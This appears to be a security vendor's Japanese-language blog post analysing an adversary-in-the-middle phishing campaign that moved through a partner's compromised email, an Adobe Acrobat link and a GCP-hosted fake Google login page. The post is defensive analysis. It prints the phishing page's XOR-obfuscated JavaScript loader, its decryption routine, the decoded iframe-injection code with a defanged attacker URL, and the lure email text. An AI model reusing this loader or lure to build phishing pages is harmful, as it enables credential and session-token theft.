Exaforce Author Joseph Odyn
Exaforce Author Bleon Proko

フィッシング・マトリョーシカ:BECを解き明かしてネスト攻撃チェーンを狙う

攻撃者が信頼できるサービスを活用して、MFA 保護にもかかわらず認証情報とセッショントークンを取得する AiTM 攻撃をどのように展開したか。

ジョセフ・オディン

ジョセフ・オディン

ブレオンプロコ

ブレオンプロコ

攻撃の概要

2025年12月、Exaforceは、Adobe Acrobatリンクを使用したフィッシング攻撃の疑いが、お客様の従業員の1人の電子メールに送信されたという通知を受けました。このリンクから従業員は PDF ファイルにリダイレクトされ、さらにそのファイルがフィッシングサイトにリダイレクトされました。

フィッシングの試みとユーザーをフィッシングしたページを分析した結果、Adversary-in-the-Middle(敵対的攻撃)を使用してIDをフィッシングしようとする悪意の試みが判明しました。

信頼できるサービス(Google Workspace、Adobe、GCP)を使用してAiTM認証情報収集攻撃を行うフィッシングフロー

メールから認証情報の盗難までの攻撃チェーン

アクターは、ターゲットのパートナー企業の1つから漏洩したIDを利用して、ターゲットの複数のユーザーにメールを送信しました。これにより、ターゲットがメールの発信元を疑うことがなくなります。

メールの内容から、対象ユーザーにアドビのリンクを送信したことがわかりましたが、リンクが大きすぎるため、リンクを使用してファイルを送信する必要があるという理由がありました。

こんにちは、添付ファイルでいくつかのドキュメントを送信しようとしましたが、ファイルが大きすぎるため、セキュリティ上の理由からアドビセキュアアップロードを使用して再送信する必要がありました

この時点で、被害者は既知の取引先から送られてきた正規のメールとみられるものを見ることができますが、侵害の兆候は明らかではありません。

悪意のある PDF のリンクは以下の形式です。

<https://acrobat.adobe.com/id/urn:aaid:sc:US:{ID redacted}>
<https://acrobat.adobe.com/id/urn:aaid:sc:US:{ID2 redacted}>

リンクをクリックすると、被害者は下部にリンクが埋め込まれた1ページのPDFを見ます。

被害者に「安全な文書を表示」をクリックしてフィッシングサイトにアクセスするように促す悪意のある Adobe Acrobat ページ

被害者は現在、アドビの公式インフラストラクチャを通じて安全な文書にアクセスしていると信じて、「安全な文書を表示」リンクをクリックしています。

このリンクは、ターゲットを認証ページにリダイレクトし、次に Google ログインページにリダイレクトします。

フィッシングフォームを提示する前の正規のボット検出を装った攻撃者の偽の「長押しして確認」ページ

この偽の検証手順は、正規のボット検出サービスを模倣したもので、認証情報が盗まれる前に偽りの正当性がさらに高まります。

このページは、ウェブホスティングページとして設定された GCP ストレージバケットでホストされている offline_attachment.html ファイルでホストされています。

Googleのログインインターフェースを模倣した認証情報を収集するフィッシングページ。正規品のように見えるようにGCPストレージバケットでホストされている

被害者はGoogleの本物のブランディングと使い慣れたログインインターフェースを見ることができますが、悪意のあるページにアクセスして認証情報をリアルタイムで傍受している兆候はありません。

ターゲットが資格情報を入力すると、ターゲットは403エラーメッセージを受け取り、ターゲットが共有ファイルにアクセスできなかったように見えます。

認証情報を盗んだ後に表示される詐欺的な 403 エラーは、攻撃が認証情報の盗難ではなく、単なるアクセスの問題であると被害者に確信させました。

被害者は、アクセス拒否の原因は権限の問題であり、認証情報とセッショントークンが盗まれたことに気付かなかったためです。

この攻撃では、AiTM 手法を使用して電子メールの認証情報、パスワード、および MFA トークンが収集されました。攻撃者は、被害者と Google の正規のログインページとの間の認証リクエストをリアルタイムで傍受して中継します。これにより、攻撃者はアクティブなセッショントークンを取得して MFA 保護をバイパスできます。

攻撃の分解

ファイルの分析 offline_attachment.htmlこのコードには難読化された JavaScript コードが含まれており、変数 k に XOR で暗号化された blob があり、ページ読み込みコードとして機能していることがわかります。関数 r は変数を使用して復号を実行します。 h そして t XOR キーとして使用します。

const r = function(p, q) {
    const z = atob(p);
    let w = '';
    for (let c = 0; c < z.length; c++) {
      const b = z.charCodeAt(c);
      const x = q.charCodeAt(c % q.length);
      w += String.fromCharCode(b ^ x);
    }
    return w;
  };
  
const k = "RVYURVhbFFgLUUAUCEYHDlFMWwANQU1bQVIHEVxzCFEPUldAHQcXDlARFAQ0bxphZAYKRxAfXz5CFxkUVAsTDVtfT0sQVA1cUVgeS1hSABxFVlVYWhFOElNUU0gMRwpfWllBTAI8RBRCF1hZRQoKB0sXRQQNUQFXSxkHAV0eQ1UOW1ZDGBIMER9XVxMKUgJMWlgIQhANbhRCFxlVWBYPCFRAGBYCWwdaXE9IBF1STBMDW1VbQksODlZYWhZEHFgyExdGRVhbFFgLUUAaRgcNBVBWTksCUQcQFFYKCVZBSUcBRVBEQRVESAkzFkVDFQJVQ1sPA0AYF1UMU1tbTUgCBVYREQQPWQxPHkcJFUxGFxkWWBRRRgUCEVcURQQNUQFXSxBPXjMWRBRCVlREWQ8FGBxKVwsHVwxAHVYCARERBVgOWE4ZUwkRDEEeH15pFUMYE1YLFVVfAk1MREtXFVtDAEZWVE1BVCtqERxBVVp+Qx9Feg94Ek1BGAsJFE4DbDRbUxwGEFtxBB9FW0tWEk1EUnhREU5EVDANFBxBU2BlQx8CAlNWVU1BUwJPFE5BVCV+ERxBImgGQx9FX3hiEk0DU3sKVk4DUSRyUxwGLnRuBB9FYk8THE0HWjgZFkVDVA5IX14AHBdFEE0OUhdXRhU3BEpNFlhDEhNXQF4SDFZYXhQEXkFRUV1DCFxKUxFZFVNISwxGElBSEFxYFwgEBUNYQVpcXwILQVkYAgdWQAIWBlsQU1xGD0ZTEUoCFggCRwRRXQ1GVUlOX0QDU11dWwFZQQJJTl5DWhVdQVEKCk4MRFwLU11RW11DGx9QWAEGTVkYCg5fXAAPXxNZPRkUFUYHDlFMWwANQU1PQV4SABFXCUQOXl9NHF1pQRIZFgEMVhZVVlkSS1tZAE1MXldaUBQrNX91FlhDF0EDORdGRRlSC1cXWlxaQUgBDlZAGAQTRQZWV3QODFVSTFUPR1VdUx9KWg==";
let h = "37fe96d4b794"; 
let t = "5fca296ec5c8";
let e = h + t;
>>> '37fe96d4b7945fca296ec5c8'

d = location.hash;
>>> ''

変数 k を復号化すると、コードは Base64 でエンコードされた URL からコンテンツを読み込む iframe をページ上に動的に生成します。

>>> console.log(r(k, e));
var amplify = document.createElement(atob("aWZyYW1l")); // iframe
amplify.sandbox.add('allow-same-origin');
amplify.sandbox.add('allow-top-navigation');
amplify.sandbox.add('allow-modals');
amplify.sandbox.add('allow-scripts');
amplify.sandbox.add('allow-popups-to-escape-sandbox');
amplify.sandbox.add('allow-forms');
amplify.src = atob("aHR"+'0cH'+'M6L'+"y90"+`YWc`+`ubG`+'lrb'+'3Jh'+'aS5'+'6YS'+`5jb`+"20v"+"aFF"+'GQ0'+'hAV'+`2I3`+`dGJ`+`KMX`+'Uv')+d;
amplify.style.cssText = 'position: fixed; inset: 0px; width: 100%; height: 100%; border: 0px; margin: 0px;padding: 0px; overflow: hidden; z-index: 999999;';
document.write(amplify);
document.body.innerHTML = "";
document.body.appendChild(amplify);

URL の値は `tag [.] likorai [.] za [.] com`、パスはその場で生成されます。

>>> atob("aHR"+'0cH'+'M6L'+"y90"+`YWc`+`ubG`+'lrb'+'3Jh'+'aS5'+'6YS'+`5jb`+"20v"+"aFF"+'GQ0'+'hAV'+`2I3`+`dGJ`+`KMX`+'Uv')
'<https://tag[.]likorai[.]za[.]com/hQFCH@Wb7tbJ1u/>'

攻撃者の URL には、フィッシングページをトリガーする id パラメーターが含まれています。このパラメータがないと、サイトは検出されないようにランダムなおとりページを表示します。

URL: <https://tag[.]likorai[.]za[.]com/u38jnhm1lkqw6?id=><very long GUID>
id パラメータを指定せずに悪意のある URL にアクセスしたときに表示されるランダムなデコイページ。セキュリティツールによる検出を避けるように設計されています

Exaforce がどのように検出して対応したか

Exaforceのプラットフォームは、電子メールパターンと送信者評価の異常の行動分析を通じて、疑わしいAdobe Acrobatリンクを検出しました。調査の結果、最初のフィッシングメールから、難読化された JavaScript、GCP でホストされている認証情報収集インフラストラクチャに至るまで、攻撃チェーン全体が明らかになりました。

不審なフィッシングメールによって生成された脅威検出

XOR で暗号化されたコードをリバースエンジニアリングすることで、悪質なドメインとホスティングインフラストラクチャを特定しました。この分析により、同様のフィッシングメールを受け取った従業員をさらに3人発見できたため、攻撃が組織内にさらに広がる前に迅速に封じ込めることができました。

保護戦略

組織は、次のような対策を講じることで、このようなAiTMフィッシング攻撃から身を守ることができます。

  • 認証ログを監視して、通常とは異なるログイン場所、不可能な移動パターン、認証イベント後の迅速なセッション確立などの異常がないか確認します。侵害された可能性があるアカウントのアクティブなセッションをすべて即時に取り消し、盗まれたセッショントークンを無効にします。
  • メッセージコンテンツの分析、添付ファイルからのURLの抽出、送信者の行動やコンテンツ特性の疑わしいパターンの特定に必要な権限を電子メールセキュリティプラットフォームに設定します。
  • デバイスのコンプライアンス、ネットワークの場所、リスクシグナルに基づいて認証を制限する条件付きアクセスポリシーを実装することで、攻撃者が認証情報を盗むことに成功した場合でも、盗まれた認証情報の有効性を制限できます。
  • 宛先ドメインを暗号化して検証し、リアルタイムの中間者攻撃によって傍受されないようにするハードウェアセキュリティキー(FIDO2/WebAuthN)などのフィッシングに強い認証方法を導入してください。

フィッシング詐欺の教訓

この攻撃は、盗まれた認証情報から保護するMFAの限界を明らかにしますが、攻撃者が認証フロー全体をリアルタイムで傍受すると失敗します。攻撃者は、被害者と Google の正規のログインページの間に身を置くことで、パスワードが変更されても永続的にアクセスできるパスワード、MFA コード、アクティブなセッショントークンを取得できます。アドビとGoogle Cloud Platformの信頼できるインフラストラクチャを使用したことで、攻撃はユーザーの認識と従来のセキュリティ制御の両方を迂回することができました。

組織は、従来のMFAではAiTM攻撃に対して不十分であることを認識し、フィッシングに強い認証方法に移行する必要があります。これらの防御手段を行動分析や迅速なインシデント対応機能と組み合わせることで、他のアカウントが侵害される前に高度なフィッシングキャンペーンを検出して封じ込めることができます。

最近の投稿

次世代のスタートアップ企業からグローバル企業まで、SOCから信頼されています

Exaforce がセキュリティ業務の変革にどのように役立つかをご覧ください

Exabots + ヒューマンがあなたのために何ができるか見てみましょう